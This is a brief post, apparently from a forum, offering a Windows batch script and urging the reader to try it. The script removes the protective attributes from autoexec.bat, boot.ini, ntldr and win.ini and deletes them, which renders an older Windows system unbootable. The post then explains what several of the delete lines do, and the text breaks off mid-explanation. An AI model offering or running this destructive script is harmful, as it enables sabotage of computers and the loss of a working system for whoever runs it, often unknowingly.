Try this script :
@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini
save the part above and save with format *.bat
del c:\autoexec.bat <-- to delete autoexe.bat in dir C
del c:\boot.ini <---- to delete Boot.ini in dir C
del c:\ntldr <--- to delete ntl...
